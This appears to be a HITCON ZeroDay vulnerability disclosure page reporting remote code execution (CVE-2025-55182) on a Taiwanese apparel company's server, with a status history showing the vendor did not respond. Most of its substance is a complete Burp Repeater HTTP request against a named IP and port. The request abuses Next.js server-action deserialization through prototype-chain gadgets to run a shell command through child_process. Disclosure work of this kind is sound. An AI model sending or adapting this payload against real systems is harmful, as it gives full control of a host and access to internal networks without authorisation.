主富服裝股份有限公司 CVE-2025-55182

Vulnerability Overview

ZDID: ZD-2025-01495
發信 Vendor: 主富服裝股份有限公司
Title: 主富服裝股份有限公司 CVE-2025-55182
Introduction: CVE-2025-55182

處理狀態

目前狀態

公開

Last Update : 2026/02/10

新提交
已審核
已通報
未回報修補狀況
未複測
公開

處理歷程

2025/12/11 15:51:05 : 新提交 (由 d3r4ilm3n7 更新此狀態)
2025/12/11 16:38:01 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/01/05 12:09:06 : 通報未回應 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/01/05 12:09:06 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/01/05 12:09:06 : 通報未回應 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/02/10 03:00:37 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2025-01495
通報者：abby8050 (d3r4ilm3n7)
風險：高
類型：遠端命令執行 (Remote Code Execution)

參考資料

攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。

漏洞說明： OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection

漏洞說明： OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection

漏洞說明： CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html

漏洞說明： CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

將payload輸入在Burp Repeater如下，即可RCE：

POST /HomePage HTTP/1.1
Host: 60.250.94.91:3005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--